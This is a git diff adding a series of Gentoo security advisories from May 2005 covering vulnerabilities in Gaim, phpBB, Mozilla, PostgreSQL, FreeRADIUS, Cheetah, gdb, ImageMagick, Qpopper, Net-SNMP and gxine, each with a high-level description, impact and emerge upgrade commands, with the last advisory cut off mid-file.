index 00000000..5e75daab
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-09.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-09">
+  <title>Gaim: Denial of Service and buffer overflow vulnerabilties</title>
+  <synopsis>
+    Gaim contains two vulnerabilities, potentially resulting in the execution
+    of arbitrary code or Denial of Service.
+  </synopsis>
+  <product type="ebuild">gaim</product>
+  <announced>May 12, 2005</announced>
+  <revised>May 12, 2005: 01</revised>
+  <bug>91862</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/gaim" auto="yes" arch="*">
+      <unaffected range="ge">1.3.0</unaffected>
+      <vulnerable range="lt">1.3.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gaim is a full featured instant messaging client which handles a
+    variety of instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stu Tomlinson discovered that Gaim is vulnerable to a remote stack
+    based buffer overflow when receiving messages in certain protocols,
+    like Jabber and SILC, with a very long URL (CAN-2005-1261). Siebe
+    Tolsma discovered that Gaim is also vulnerable to a remote Denial of
+    Service attack when receiving a specially crafted MSN message
+    (CAN-2005-1262).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could cause a buffer overflow by sending an
+    instant message with a very long URL, potentially leading to the
+    execution of malicious code. By sending a SLP message with an empty
+    body, a remote attacker could cause a Denial of Service or crash of the
+    Gaim client.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gaim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/gaim-1.3.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1261">CAN-2005-1261</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1262">CAN-2005-1262</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 11 May 2005 11:51:15 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 May 2005 04:18:52 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-10.xml b/xml/htdocs/security/en/glsa/glsa-200505-10.xml
new file mode 100644
index 00000000..eaf7fdae
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-10.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-10">
+  <title>phpBB: Cross-Site Scripting Vulnerability</title>
+  <synopsis>
+    phpBB is vulnerable to a cross-site scripting attack that could allow
+    arbitrary scripting code execution.
+  </synopsis>
+  <product type="ebuild">phpBB</product>
+  <announced>May 14, 2005</announced>
+  <revised>May 14, 2005: 01</revised>
+  <bug>90213</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpBB" auto="yes" arch="*">
+      <unaffected range="ge">2.0.15</unaffected>
+      <vulnerable range="lt">2.0.15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpBB is an Open Source bulletin board package.
+    </p>
+  </background>
+  <description>
+    <p>
+    phpBB is vulnerable to a cross-site scripting vulnerability due to
+    improper sanitization of user supplied input. Coupled with poor
+    validation of BBCode URLs which may be included in a forum post, an
+    unsuspecting user may follow a posted link triggering the
+    vulnerability.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation of the vulnerability could cause arbitrary
+    scripting code to be executed in the browser of a user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpBB users should upgrade to the latest version:
+    </p>
+    <code>
+    emerge --sync
+    emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpBB-2.0.15&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/13344/info/">BugTraq ID 13344</uri>
+    <uri link="http://securitytracker.com/id?1013918">SecurityTracker ID 1013918</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 13 May 2005 08:29:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 13 May 2005 08:29:44 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 May 2005 19:13:15 +0000">
+    r2d2
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-11.xml b/xml/htdocs/security/en/glsa/glsa-200505-11.xml
new file mode 100644
index 00000000..42e44807
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-11.xml
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-11">
+  <title>Mozilla Suite, Mozilla Firefox: Remote compromise</title>
+  <synopsis>
+    Several vulnerabilities in the Mozilla Suite and Firefox allow an attacker
+    to conduct cross-site scripting attacks or to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">mozilla</product>
+  <announced>May 15, 2005</announced>
+  <revised>May 15, 2005: 01</revised>
+  <bug>91859</bug>
+  <bug>92393</bug>
+  <bug>92394</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.0.4</unaffected>
+      <vulnerable range="lt">1.0.4</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.4</unaffected>
+      <vulnerable range="lt">1.0.4</vulnerable>
+    </package>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <unaffected range="ge">1.7.8</unaffected>
+      <vulnerable range="lt">1.7.8</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.7.8</unaffected>
+      <vulnerable range="lt">1.7.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Suite is a popular all-in-one web browser that
+    includes a mail and news reader. Mozilla Firefox is the next-generation
+    browser from the Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Mozilla Suite and Firefox do not properly protect "IFRAME"
+    JavaScript URLs from being executed in context of another URL in the
+    history list (CAN-2005-1476). The Mozilla Suite and Firefox also fail
+    to verify the "IconURL" parameter of the "InstallTrigger.install()"
+    function (CAN-2005-1477). Michael Krax and Georgi Guninski discovered
+    that it is possible to bypass JavaScript-injection security checks by
+    wrapping the javascript: URL within the view-source: or jar:
+    pseudo-protocols (MFSA2005-43).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious remote attacker could use the "IFRAME" issue to
+    execute arbitrary JavaScript code within the context of another
+    website, allowing to steal cookies or other sensitive data. By
+    supplying a javascript: URL as the "IconURL" parameter of the
+    "InstallTrigger.Install()" function, a remote attacker could also
+    execute arbitrary JavaScript code. Combining both vulnerabilities with
+    a website which is allowed to install software or wrapping javascript:
+    URLs within the view-source: or jar: pseudo-protocols could possibly
+    lead to the execution of arbitrary code with user privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Affected systems can be protected by disabling JavaScript.
+    However, we encourage Mozilla Suite or Mozilla Firefox users to upgrade
+    to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.0.4&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.0.4&quot;</code>
+    <p>
+    All Mozilla Suite users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-1.7.8&quot;</code>
+    <p>
+    All Mozilla Suite binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-bin-1.7.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1476">CAN-2005-1476</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1477">CAN-2005-1477</uri>
+    <uri link="http://www.mozilla.org/security/announce/mfsa2005-43.html">Mozilla Foundation Security Advisory 2005-43</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 12 May 2005 04:49:53 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 May 2005 08:27:49 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 15 May 2005 08:10:06 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-12.xml b/xml/htdocs/security/en/glsa/glsa-200505-12.xml
new file mode 100644
index 00000000..35b90dcc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-12.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-12">
+  <title>PostgreSQL: Multiple vulnerabilities</title>
+  <synopsis>
+    PostgreSQL is vulnerable to Denial of Service attacks and possibly allows
+    unprivileged users to gain administrator rights.
+  </synopsis>
+  <product type="ebuild">postgresql</product>
+  <announced>May 15, 2005</announced>
+  <revised>June 26, 2007: 04</revised>
+  <bug>91231</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/postgresql" auto="yes" arch="*">
+      <unaffected range="eq">7.3*</unaffected>
+      <unaffected range="eq">7.4*</unaffected>
+      <unaffected range="rge">8.0.1-r3</unaffected>
+      <unaffected range="ge">8.0.2-r1</unaffected>
+      <vulnerable range="lt">7.3.10</vulnerable>
+      <vulnerable range="lt">7.4.7-r2</vulnerable>
+      <vulnerable range="lt">8.0.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PostgreSQL is a SQL compliant, open source object-relational database
+    management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    PostgreSQL gives public EXECUTE access to a number of character
+    conversion routines, but doesn't validate the given arguments
+    (CAN-2005-1409). It has also been reported that the contrib/tsearch2
+    module of PostgreSQL misdeclares the return value of some functions as
+    "internal" (CAN-2005-1410).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could call the character conversion routines with specially
+    setup arguments to crash the backend process of PostgreSQL or to
+    potentially gain administrator rights. A malicious user could also call
+    the misdeclared functions of the contrib/tsearch2 module, resulting in
+    a Denial of Service or other, yet uninvestigated, impacts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PostgreSQL users should update to the latest available version and
+    follow the guide at <uri
+    link="http://www.postgresql.org/about/news.315">http://www.postgresql.o
+    rg/about/news.315</uri>
+    </p>
+    
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-db/postgresql</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-1409">CAN-2005-1409</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-1410">CAN-2005-1410</uri>
+    <uri link="http://www.postgresql.org/about/news.315">PostgreSQL Announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 11 May 2005 15:07:25 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 15 May 2005 09:19:16 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-13.xml b/xml/htdocs/security/en/glsa/glsa-200505-13.xml
new file mode 100644
index 00000000..eaecafde
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-13.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-13">
+  <title>FreeRADIUS: SQL injection and Denial of Service vulnerability</title>
+  <synopsis>
+    The FreeRADIUS server is vulnerable to an SQL injection attack and a buffer
+    overflow, possibly resulting in disclosure and modification of data and
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">freeradius</product>
+  <announced>May 17, 2005</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>91736</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dialup/freeradius" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2-r4</unaffected>
+      <vulnerable range="lt">1.0.2-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeRADIUS is an open source RADIUS authentication server
+    implementation.
+    </p>
+  </background>
+  <description>
+    <p>
+    Primoz Bratanic discovered that the sql_escape_func function of
+    FreeRADIUS may be vulnerable to a buffer overflow (BID 13541). He also
+    discovered that FreeRADIUS fails to sanitize user-input before using it
+    in a SQL query, possibly allowing SQL command injection (BID 13540).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By supplying carefully crafted input, a malicious user could cause an
+    SQL injection or a buffer overflow, possibly leading to the disclosure
+    and the modification of sensitive data or Denial of Service by crashing
+    the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeRADIUS users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dialup/freeradius-1.0.2-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/13540/">BugTraq ID 13540</uri>
+    <uri link="http://www.securityfocus.com/bid/13541/">BugTraq ID 13541</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1454">CVE-2005-1454</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1455">CVE-2005-1455</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 12 May 2005 12:54:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 May 2005 13:46:19 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 17 May 2005 13:01:45 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-14.xml b/xml/htdocs/security/en/glsa/glsa-200505-14.xml
new file mode 100644
index 00000000..615774fb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-14.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-14">
+  <title>Cheetah: Untrusted module search path</title>
+  <synopsis>
+    Cheetah contains a vulnerability in the module importing code that can
+    allow a local user to gain escalated privileges.
+  </synopsis>
+  <product type="ebuild">Cheetah</product>
+  <announced>May 19, 2005</announced>
+  <revised>May 17, 2006: 02</revised>
+  <bug>92926</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-python/cheetah" auto="yes" arch="*">
+      <unaffected range="ge">0.9.17_rc1</unaffected>
+      <vulnerable range="lt">0.9.17_rc1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cheetah is a Python powered template engine and code generator.
+    </p>
+  </background>
+  <description>
+    <p>
+    Brian Bird discovered that Cheetah searches for modules in the
+    world-writable /tmp directory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious local user could place a module containing arbitrary code
+    in /tmp, which when imported would run with escalated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cheetah users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-python/cheetah-0.9.17_rc1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/15386/">Secunia Advisory SA15386</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 17 May 2005 21:18:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 17 May 2005 21:38:15 +0000">
+    r2d2
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 18 May 2005 11:47:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-15.xml b/xml/htdocs/security/en/glsa/glsa-200505-15.xml
new file mode 100644
index 00000000..1888b2c3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-15.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-15">
+  <title>gdb: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in the GNU debugger,
+    potentially allowing the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gdb</product>
+  <announced>May 20, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>88398</bug>
+  <bug>91398</bug>
+  <bug>91654</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-devel/gdb" auto="yes" arch="*">
+      <unaffected range="ge">6.3-r3</unaffected>
+      <vulnerable range="lt">6.3-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gdb is the GNU project's debugger, facilitating the analysis and
+    debugging of applications. The BFD library provides a uniform method of
+    accessing a variety of object file formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered an
+    integer overflow in the BFD library, resulting in a heap overflow. A
+    review also showed that by default, gdb insecurely sources
+    initialisation files from the working directory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would result in the execution of arbitrary code
+    on loading a specially crafted object file or the execution of
+    arbitrary commands.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gdb users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-devel/gdb-6.3-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1704">CVE-2005-1704</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1705">CVE-2005-1705</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 06 May 2005 21:52:10 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 07 May 2005 04:11:43 +0000">
+    r2d2
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 20 May 2005 12:36:18 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-16.xml b/xml/htdocs/security/en/glsa/glsa-200505-16.xml
new file mode 100644
index 00000000..28c5e1d2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-16.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-16">
+  <title>ImageMagick, GraphicsMagick: Denial of Service vulnerability</title>
+  <synopsis>
+    ImageMagick and GraphicsMagick utilities can be abused to perform a Denial
+    of Service attack.
+  </synopsis>
+  <product type="ebuild">ImageMagick</product>
+  <announced>May 21, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>90423</bug>
+  <bug>90595</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.2.2.3</unaffected>
+      <vulnerable range="lt">6.2.2.3</vulnerable>
+    </package>
+    <package name="media-gfx/graphicsmagick" auto="yes" arch="*">
+      <unaffected range="ge">1.1.6-r1</unaffected>
+      <vulnerable range="lt">1.1.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Both ImageMagick and GraphicsMagick are collection of tools to read,
+    write and manipulate images in many formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered a
+    Denial of Service vulnerability in the XWD decoder of ImageMagick and
+    GraphicsMagick when setting a color mask to zero.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could submit a specially crafted image to a user or
+    an automated system making use of an affected utility, resulting in a
+    Denial of Service by consumption of CPU time.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.2.2.3&quot;</code>
+    <p>
+    All GraphicsMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/graphicsmagick-1.1.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1739">CVE-2005-1739</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 04 May 2005 05:18:30 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 05 May 2005 19:34:27 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 21 May 2005 14:59:55 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-17.xml b/xml/htdocs/security/en/glsa/glsa-200505-17.xml
new file mode 100644
index 00000000..42448f4f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-17.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-17">
+  <title>Qpopper: Multiple Vulnerabilities</title>
+  <synopsis>
+    Qpopper contains two vulnerabilities allowing an attacker to overwrite
+    arbitrary files and create files with insecure permissions.
+  </synopsis>
+  <product type="ebuild">qpopper</product>
+  <announced>May 23, 2005</announced>
+  <revised>May 23, 2005: 01</revised>
+  <bug>90622</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-mail/qpopper" auto="yes" arch="*">
+      <unaffected range="ge">4.0.5-r3</unaffected>
+      <vulnerable range="lt">4.0.5-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Qpopper is a widely used server for the POP3 protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jens Steube discovered that Qpopper doesn't drop privileges to
+    process local files from normal users (CAN-2005-1151). The upstream
+    developers discovered that Qpopper can be forced to create group or
+    world writeable files (CAN-2005-1152).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious local attacker could exploit Qpopper to overwrite
+    arbitrary files as root or create new files which are group or world
+    writeable.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Qpopper users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/qpopper-4.0.5-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1151">CAN-2005-1151</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1152">CAN-2005-1152</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 10 May 2005 16:31:30 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 23 May 2005 19:25:37 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-18.xml b/xml/htdocs/security/en/glsa/glsa-200505-18.xml
new file mode 100644
index 00000000..0bec838f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-18.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-18">
+  <title>Net-SNMP: fixproc insecure temporary file creation</title>
+  <synopsis>
+    Net-SNMP creates temporary files in an insecure manner, possibly allowing
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">net-snmp</product>
+  <announced>May 23, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>91792</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-analyzer/net-snmp" auto="yes" arch="*">
+      <unaffected range="ge">5.2.1-r1</unaffected>
+      <vulnerable range="lt">5.2.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Net-SNMP is a suite of applications used to implement the Simple
+    Network Management Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    The fixproc application of Net-SNMP creates temporary files with
+    predictable filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious local attacker could exploit a race condition to change the
+    content of the temporary files before they are executed by fixproc,
+    possibly leading to the execution of arbitrary code. A local attacker
+    could also create symbolic links in the temporary files directory,
+    pointing to a valid file somewhere on the filesystem. When fixproc is
+    executed, this would result in the file being overwritten.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Net-SNMP users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/net-snmp-5.2.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1740">CVE-2005-1740</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 22 May 2005 14:27:59 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 22 May 2005 15:33:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 22 May 2005 23:22:24 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-19.xml b/xml/htdocs/security/en/glsa/glsa-200505-19.xml
new file mode 100644
index 00000000..665ec40b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-19.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-19">
+  <title>gxine: Format string vulnerability</title>
+  <synopsis>
+    A format string vulnerability in gxine could allow a remote attacker to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">gxine</product>
+  <announced>May 26, 2005</announced>
+  <revised>May 26, 2005: 01</revised>
+  <bug>93532</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/gxine" auto="yes" arch="*">
+      <unaffected range="rge">0.3.3-r2</unaffected>
+      <unaffected range="rge">0.4.1-r1</unaffected>
+      <unaffected range="ge">0.4.4</unaffected>
+      <vulnerable range="lt">0.4.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gxine is a GTK+ and xine-lib based media player.
+    </p>
+  </background>
+  <description>
